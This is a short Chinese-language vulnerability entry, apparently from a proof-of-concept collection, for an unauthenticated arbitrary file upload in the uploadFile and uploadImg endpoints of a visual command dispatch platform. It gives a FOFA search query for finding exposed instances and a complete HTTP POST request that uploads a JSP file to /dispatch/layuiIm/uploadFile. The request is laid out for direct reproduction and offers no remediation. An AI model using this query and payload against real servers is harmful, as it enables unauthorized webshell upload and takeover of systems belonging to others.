K5-1可视化融合指挥调度平台-文件上传

漏洞描述：

可视化融合指挥调度平台 uploadFile、uploadImg等接口处存在任意文件上传漏洞，未经身份验证的攻击者可利用此漏洞上传恶意后门文件，导致服务器权限被控。

影响版本：

- 可视化融合指挥调度平台

网站图片：

网络测绘：

fofa语法：

FOFA：body="base/searchInfoWindow_min.css"

漏洞复现：

payload：

```
POST /dispatch/layuiIm/uploadFile HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7ctER307B0RaQwOp

------WebKitFormBoundary7ctER307B0RaQwOp
Content-Disposition: form-data; name="file";filename="1.jsp"

<% out.println("hello");%>
------WebKitFormBoundary7ctER307B0RaQwOp--
```

效果图：

验证